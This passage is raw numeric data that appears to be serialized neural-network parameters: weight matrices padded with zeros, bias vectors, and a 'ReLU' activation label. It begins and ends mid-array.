-0.3428, 0.1335, -2.066, -0.5737, -0.4731, 0.02896, -0.10187, -0.012054, 0.1008, 0.5464, -0.0869, 1.192, 0.1794, 0.3992, -1.345, 0.1946, 0.223, 0.959, 0.1139, 0.2588, 0.663, -2.092, -0.1707, -3.312, -0.8115, -0.459], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.186, -0.3748, 0.542, 0.205, 0.668, 0.2104, 0.1193, -0.5454, -0.1653, -0.1669, 0.1289, -0.1787, -1.74, 0.3157, -0.389, -2.97, 0.269, 0.1722, -2.25, 0.01133, -0.04016, -0.397, -0.1682, 0.6157, 0.1818, 0.0546, 0.1117, 0.41, 0.658, 0.0348, 0.0448, -0.521, -0.5396, 0.05447, 0.3152, 0.3232, -0.4604, 0.1495, 0.417, -0.1285, -0.03827, -0.6646, 0.1791, 0.4507, 0.4993, -0.3477, 0.2319, 0.864, -0.4465, 0.52], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0326, 0.3025, 0.1504, 0.37, 0.6626, -0.02457, 0.2551, -0.1349, 0.2455, 0.3916, 0.7383, -0.4297, -0.4023, 0.738, 0.07385, -0.3804, 0.6104, 0.1394, -0.0706, 0.1177, -0.01724, 0.2491, 0.153, -0.3276, 0.1584, -0.434, -0.1237, -0.02348, 0.1534, 0.1469, 0.602, 0.4502, 0.3738, 0.3062, -0.361, -0.189, 0.004063, -0.1375, 0.02124, -0.3787, 0.1361, -0.2817, 0.199, -0.02646, -0.329, 0.1428, -0.413, 0.176, -0.1782, -0.0579], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.05835, -0.2311, -0.8564, 0.2993, 0.1963, -0.4873, -1.1045, 0.3857, -0.0579, -0.3445, -0.1199, 0.6865, -0.01384, -0.422, -0.82, -0.2297, 1.528, -0.5967, -0.598, 0.0797, -0.0411, 0.492, -0.1414, -0.1698, -0.0708, -0.002703, -1.476, -0.678, -0.795, 0.03735, 0.193, -0.8584, 0.128, -0.2942, -1.716, 0.625, 0.3433, -0.5728, 0.544, -0.115, 0.818, 1.357, -0.279, -0.1997, -0.483, -1.472, -0.5127, -0.61, 0.1719, -0.6587], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0119, 0.2108, -0.007545, -0.0493, -0.02434, -0.491, -0.004597, -0.08264, 0.3635, 0.263, -0.1678, -0.11017, -0.001134, 0.2445, 0.06537, 0.489, 0.00409, 0.09283, 0.1787, -0.1519, 0.09314, 0.0981, 0.00313, -0.3367, -0.2603, -0.03876, 0.07, 0.0808, 0.00945, 0.0801, 0.3838, -0.0321, -0.0366, 0.5107, -0.132, -0.1263, -0.0482, -0.01872, -0.623, 0.12415, -0.6216, 0.1698, -0.05005, -0.2654, -0.2102, -0.1753, 0.0554, -0.0378, -0.0375, -0.85], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.11053, -0.2438, -0.8857, 0.5454, 0.9146, -0.1356, 0.179, -0.1559, -0.1904, -0.1649, 0.3733, -0.2045, -0.576, -0.2866, 0.7915, -0.8135, 0.6514, -0.9185, -2.514, 0.6016, -0.367, -0.3481, -0.6777, -0.10364, -0.05002, 0.3694, 0.1877, 0.09454, 0.0573, 0.00526, 0.006924, -3.383, 0.1925, -0.516, 0.215, -0.2603, -0.2196, 0.3352, 0.981, 0.4717, 0.7104, -0.315, -0.1959, -0.02557, 0.12103, -0.859, 0.04422, 0.978, -0.09937, 0.2751], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0426, -0.03796, 0.11487, 0.4878, 0.02737, -0.0846, -0.0724, -0.0759, 0.05026, 0.03735, -0.05734, 0.2289, -0.686, -0.02354, -0.0837, 0.1743, 0.1901, 0.1373, -0.1544, 0.1213, 0.01438, -0.244, 0.1289, 0.03146, -0.02654, 0.03766, 0.0987, -0.141, -0.3157, 0.01752, -0.1353, -0.2522, -0.02652, 0.077, -0.2465, -0.0107, 0.1714, 0.537, 0.1981, -0.253, -0.6724, -0.1976, -0.1589, -0.04294, 0.2424, 0.002438, 0.4001, 0.1755, 0.08307, 0.004074], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1724, -0.04742, -0.3323, -0.3242, 0.5635, -0.182, 0.1321, 0.4463, -0.11786, 0.2498, 0.2216, 0.3787, -0.713, -0.02354, 0.0414, 1.341, -0.9946, -0.3271, -0.01605, 0.4023, 0.003588, -0.03598, -0.2148, -0.1647, -0.05225, -0.0853, 0.03041, 0.1137, -0.11957, 0.03806, 0.06635, -0.598, -0.00419, 0.572, -0.10376, -0.4148, 0.1877, -0.291, -0.1066, -0.2241, -0.01244, 0.07635, -0.02478, -0.05505, -0.2273, 0.608, -0.3008, 0.04135, -0.01695, 0.538], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.11304, 0.0692, -0.0288, 0.38, -0.3164, 0.3481, 0.7607, 0.07635, -0.3784, 0.1611, 0.5767, 0.6074, 0.8413, 0.05362, -0.7964, -0.1938, 1.156, -0.1323, -1.113, 0.03885, -0.11206, 0.08124, -0.5703, 0.5454, 0.3074, 0.462, -1.315, -0.323, -0.244, -0.01358, -0.665, 0.65, -0.1753, -0.7764, 0.3435, -0.4548, 0.535, 0.1804, -0.0813, -0.4192, -0.11884, 0.959, -0.2404, -0.5654, 0.03174, 0.8975, 0.792, -0.318, -0.0868, -0.3154], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.3564, 0.05237, -1.233, -0.2847, 0.1487, 0.11597, 0.1294, -0.4846, -3.266, -0.359, 0.2515, -0.2788, -9.08, -0.08636, 0.3076, 0.2396, -1.129, -0.0784, 0.6455, -0.04086, -0.2595, -0.08276, -0.546, 0.1827, 0.03644, -0.0933, -0.1578, -0.07574, -0.1827, -0.01164, 0.5137, 0.3848, 0.0696, -0.725, 0.04395, -0.04514, -0.12177, -0.2656, -0.11194, 0.2188, -0.6357, 0.2676, 0.1799, -0.3445, 0.2474, 0.1827, 0.6377, -0.2178, -0.1453, 0.1062], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.3916, -0.1301, 0.2367, -0.954, -0.1289, -0.1921, -0.10254, 0.0484, -0.1656, 0.3215, 0.261, -0.51, -0.8774, 0.649, 0.1061, -0.2026, -0.621, 0.3274, -0.7197, -0.1526, 0.1488, 0.1354, -0.5376, 0.04953, -0.1713, 0.0891, -0.1761, 0.4219, 0.2372, 0.05957, 0.2788, -1.0625, 0.4211, 0.8066, 0.08844, 0.1693, 0.178, 0.5146, 0.5317, 0.1786, 0.0967, 0.1467, -0.484, -0.009674, -0.58, -1.438, -0.1726, -0.1884, 0.05783, -0.08905], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1393, -0.2263, -0.3093, 0.08276, -0.3955, 0.00467, -0.3047, -0.1465, 0.07806, -0.06433, -0.1049, -0.3557, -0.2115, 0.0735, 0.03983, -0.556, -0.351, -0.10126, -0.2915, -0.02316, 0.05115, 0.276, 0.11487, -0.309, -0.0333, -0.276, 0.356, 0.1472, -0.045, 0.04614, -0.1461, -0.1744, 0.10425, -0.2462, 0.2336, 0.254, -0.3608, 0.08704, 0.1273, -0.05646, 0.508, 0.0724, 0.05536, 0.1, -0.2136, 0.02383, -0.007042, -0.006004, -0.364, 0.2314], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.03555, 0.079, 0.3245, 0.0266, -0.04657, 0.5444, -0.1201, 0.3774, 0.03378, 0.09143, 0.2812, 0.383, -0.511, 0.06824, 0.015045, 0.702, -0.02188, -0.5796, 0.5996, 0.0717, 0.02786, 0.301, -0.1389, 0.1316, -0.0698, -0.1594, 0.5566, 0.1791, -0.07965, 0.10156, -0.1614, 0.6416, -0.277, 0.574, 0.0989, -0.1327, -0.1729, 0.4014, -0.0985, -0.0841, -0.5537, 0.3057, -0.1197, 0.07794, 0.1693, -0.2886, -0.0634, -0.05295, -0.6562, -0.17], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.05417, -1.54, -0.3809, -1.211, -6.06, -0.2155, 0.1827, 0.6436, 0.10657, 1.071, -0.9604, -0.4707, -1.762, 0.3625, -1.171, 0.4558, -1.911, -0.8345, -1.029, -0.2964, -0.07886, 0.07556, -0.4, 0.1877, 0.1425, 0.812, 0.1393, 0.4412, 0.732, 0.12213, -1.46, 0.5854, -0.957, 1.018, -0.6514, -1.529, 0.549, 0.2026, 0.774, -0.3572, 0.9385, 0.2974, -0.2896, 0.7, 0.4836, 0.02754, 0.554, -0.0228, 1.751, -0.5903], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.4487, -0.9204, -0.772, 2.34, -0.5913, -1.745, -1.372, 0.6074, -0.4045, -1.804, -2.31, 2.299, 0.7705, -0.06885, -2.617, 1.389, -1.168, 0.4282, 1.764, 0.2365, -1.156, -1.115, 0.87, -0.7363, -0.08954, 1.828, 0.517, -0.9897, -0.699, 0.0337, -0.3572, -2.145, 1.072, -0.7026, -1.829, 1.949, -1.124, -2.148, 1.104, -1.278, 1.088, -1.876, 1.243, -1.391, -2.22, -1.805, -0.3184, -3.133, -0.5625, 1.327], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.4329, -0.1687, 0.334, 1.378, 0.8843, 0.2098, -1.881, 1.25, -0.4097, -1.175, -3.61, -0.847, -1.9795, 1.035, 1.13, -0.521, -1.573, -1.678, 0.8887, 1.293, -0.4404, -0.504, 2.633, 0.379, -0.5317, -0.8677, -0.2129, -1.147, -0.707, -0.0172, -1.864, -4.273, 0.1412, -0.3115, 0.4543, -0.4006, 0.4648, -0.2001, 0.592, 0.817, -1.093, -1.061, 0.498, 0.896, 0.533, -3.049, 1.434, -1.296, -1.719, 0.7305], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.02779, 0.09985, 0.0291, -0.0962, -0.01953, 0.2462, -0.0273, 0.0629, -0.1964, -0.466, -0.000628, 0.762, -0.02824, 0.3604, 0.2708, -0.6226, -0.371, 0.3958, -0.05255, -0.2463, 0.2188, -0.6, 0.306, -0.4946, -0.8374, 0.1686, 0.169, -0.175, -0.306, -0.01736, 0.12317, 0.757, 0.02527, 1.558, -0.3591, -0.72, -0.7324, 0.06995, -0.2386, -0.333, -0.4321, -0.5664, 0.10754, -0.4053, 0.228, -0.9473, -0.459, -0.009384, 0.6377, -1.066], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.06128, -0.2705, -0.576, -0.443, 0.1936, -0.5356, -0.978, 0.876, 0.1716, -0.479, -0.12274, 0.3843, -1.087, -0.1759, -0.3901, 1.204, 0.02423, -0.514, -0.4788, 0.1122, 0.1384, 0.436, 0.662, 0.4917, -0.08844, -0.075, 0.2102, -0.422, 0.1423, 0.0326, 0.482, -0.3987, 0.02559, -0.3467, -0.6943, 0.905, -0.2416, -0.0266, 0.0007505, -0.04446, 1.0, 0.4814, -0.1956, 0.1597, -0.3518, -0.576, -1.8545, 0.1836, 0.3376, -0.1384], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.04456, -0.01738, -0.0485, -0.03476, -0.0531, -0.0526, -0.05298, -0.03937, -0.0403, 0.006702, 0.02698, -0.02315, 0.003572, -0.0371, -0.0362, 0.0437, -0.0472, 0.03665, -0.00475, 0.03662, 0.03558, -0.0156, -0.02936, -0.0115, -0.03342, -0.01343, -0.003496, -0.0368, 0.01236, 0.002045, 0.01443, -0.01643, 0.015236, 0.0009203, -0.02287, -0.01512, -0.02528, 0.04126, -0.02884, 0.01723, -0.01593, -0.005444, -0.02556, -0.010086, -0.02948, 0.00458, -0.0474, 0.011894, 0.01761, 0.03134], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1334, -0.1216, -0.02931, -0.1938, -0.1819, -0.1385, 0.0752, -0.273, 0.04916, 0.02151, 0.05145, 0.2148, 0.5337, 0.06964, 0.10223, -1.28, 0.2256, 0.4133, -1.476, 0.166, -0.1503, 0.128, -0.205, 0.1658, 0.1492, 0.367, -0.4924, -0.3003, -0.2057, 0.03632, -0.0002582, -0.4524, -0.2295, -0.3774, -0.008194, 0.2369, 0.1874, -0.0776, -0.35, 0.2325, -0.1832, -0.05774, -0.0897, 0.1567, -0.1522, -0.4436, -0.283, 0.11633, 0.121, -0.2446], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1925, -0.2195, -2.383, 0.1249, 1.356, 0.0561, 1.568, -0.6235, 0.445, -1.969, -0.583, -1.3545, 0.949, -0.29, -0.4753, -0.877, 1.564, 1.405, 1.467, -0.2306, 0.6294, -0.3284, -0.3813, -2.303, -0.1074, 0.4426, -0.3208, 1.146, 0.3481, 0.007427, -0.03452, -0.1411, -2.445, 0.451, 1.059, -0.02452, -1.137, -0.761, 0.4822, 0.3667, -0.672, -0.388, 0.4802, -0.6284, 0.9116, -1.999, 0.0115, -0.1421, -0.821, -1.801], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.003468, 0.2668, 0.4385, 0.702, 0.1538, -0.6104, 0.8936, -0.4707, 0.9727, -0.1608, -0.02188, -0.781, -1.365, 1.445, -1.1455, 0.699, -1.057, -0.2018, -0.97, -0.6016, -0.908, 0.8853, -1.165, -0.1298, 0.1006, -0.6987, -0.4302, 0.2673, 0.0794, 0.0856, -1.446, -0.452, -0.1302, -0.65, -0.343, -0.3223, -0.7, -1.185, 0.0947, -1.212, -0.6226, -0.06107, 0.5933, -0.0582, -0.06616, 2.736, 1.188, 0.4373, -0.4614, 1.067], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.04755, 0.4243, -0.01071, -1.045, -0.148, 0.006187, -0.4368, 0.668, -0.2051, 0.2275, 0.09406, -0.772, 1.638, -0.1714, 0.8105, 0.0752, -0.06097, -0.1794, 0.682, 0.2047, 0.04047, -0.457, 0.2446, 0.1375, -0.00287, -0.561, 0.2942, 0.1539, -0.5176, 0.02469, 0.1537, -0.8325, -0.4028, -0.2534, -0.2585, 0.0757, 0.07385, 0.142, 0.6123, 0.2094, -0.6484, -0.04086, 0.1707, 0.07056, 0.63, 0.2217, -0.523, -0.076, -0.597, -0.06354]]
[0.721258, 0.54631, 1.11404, -0.442868, 0.327634, 0.0869938, -0.957153, 0.216054, -4.00112, -0.326594, -0.652746, -0.0238031, -0.750298, 0.0698031, -0.160546, -0.215036, 0.53675, 0.496682, -1.40209, 0.282786, 0.305471, -0.704487, -0.805053, 1.28842, 0.205215, -0.611594, -0.190878, -1.25222, -0.65776, 0.0227152, 0.788018, 0.990074, 0.092566, 0.261581, -0.472056, -0.410337, -0.25696, 0.522854, 0.307966, -2.04221, 0.145228, 0.570681, -1.05963, -0.645975, 0.882287, -0.0118015, -0.160748, -0.517753, -3.15078, 0.302895, 0.721, 0.5464, 1.114, -0.4429, 0.3276, 0.087, -0.957, 0.2161, -4.0, -0.3267, -0.653, -0.0238, -0.7505, 0.0698, -0.1605, -0.2151, 0.5366, 0.4966, -1.402, 0.2827, 0.3054, -0.7046, -0.805, 1.288, 0.2052, -0.612, -0.1909, -1.252, -0.6577, 0.02272, 0.788, 0.99, 0.0926, 0.2615, -0.4722, -0.4104, -0.257, 0.523, 0.3079, -2.043, 0.1453, 0.571, -1.06, -0.646, 0.8823, -0.0118, -0.1608, -0.5176, -3.15, 0.303]
ReLU
[[-0.366966, -0.218101, 0.166847, -0.312591, 0.341535, 0.218007, 0.338003, 0.0190614, 0.24823, 0.132544, 0.268633, -0.022964, 0.0596022, -0.11054, 0.0235811, -0.0229709, -0.0141488, 0.277456, -0.0220898, -0.952091, -0.447443, -0.20354, 0.0134716, -0.155535, -0.200714, 0.396483, 0.0897348, 0.291911, -0.279523, 0.173833, 0.190453, 0.208692, 0.103229, 0.341256, 0.589093, -0.415205, 1.29767, 0.193389, -0.0411139, -0.0540125, -0.299316, -0.0193635, -0.0724907, -0.111147, -0.144403, -0.0451564, 0.656614, -0.235915, 0.0248393, 0.309763, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-1.45658, -0.138532, 1.0954, -1.97395, 0.54339, 0.495288, 0.0105514, -0.879378, -0.436876, 0.37387, 0.7271, -0.0435391, 0.184804, -0.0932508, 0.316313, 0.368289, 0.255179, -0.730741, -0.2518, -0.491339, 0.838196, -0.0293306, -0.490267, -0.382229, -1.53961, 0.183539, -0.606498, -0.5441, -0.0700444, 0.290473, 1.94729, -0.0959754, 0.0984289, -0.122354, -1.48969, -0.922058, 1.02098, 0.273277, -1.88154, -0.518743, 0.413567, -0.144434, -0.408241, -1.27067, -1.7645, -0.00430301, 0.342477, -0.40566, -0.1304, -0.7102, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.430711, 0.28811, 0.672296, 0.588151, -0.893355, 0.119314, -0.0933007, -1.58593, -1.11137, 0.919648, -0.893979, 0.0224795, -0.177341, -0.664662, 0.909678, -0.179631, 0.0548899, 0.750078, -1.47723, -2.71203, -0.347249, 0.0698147, -0.489982, -0.646046, -2.87225, 1.04669, -0.268011, -0.549282, 0.101799, 0.841645, 0.437277, -0.575789, -4.50907, -0.55008, -0.103472, -0.792017, 0.326, 0.219217, -0.15564, 1.04093, -0.781686, -0.0486372, -1.61054, -2.10364, -0.919124, -0.0197488, -0.936465, -0.341396, -0.452934, 0.852639, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.299449, -1.1245, -0.39539, -0.13188, 2.1493, -4.63396, 0.113539, 0.0026288, -1.30035, -0.295043, 1.5846, 0.00747647, 0.0969431, 0.0611884, 0.859607, 0.0944422, -2.9261, 1.53844, -0.137638, 0.447164, 2.88858, 1.17414, 0.513781, 1.36332, 1.10793, -0.168719, 3.15922, 1.03768, 0.192682, -1.04571, 1.5765, -0.4247, -2.2364, 0.256111, -0.339591, -0.00384313, 4.63136, 1.42835, 1.58109, 2.37181, -0.724826, 0.12041, 0.191643, 1.74116, -1.6339, 0.00380636, 0.682639, 1.28302, 1.87881, 1.91676, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0148139, -0.0456728, 0.0115172, -0.0146617, 0.00349607, -0.0405803, 0.0238768, -0.00297491, -0.00965087, -0.00458578, -0.0560399, 0.0221492, -0.0625823, 0.0307871, 0.00905355, 0.0216194, 0.017516, -0.0565427, 0.0103535, -0.0446532, 0.00628724, 0.0063412, 0.00202798, 0.0277488, -0.0378747, -0.0120565, -0.0510875, -0.0482211, -0.0171473, -0.00370157, -0.00206774, -0.00887521, 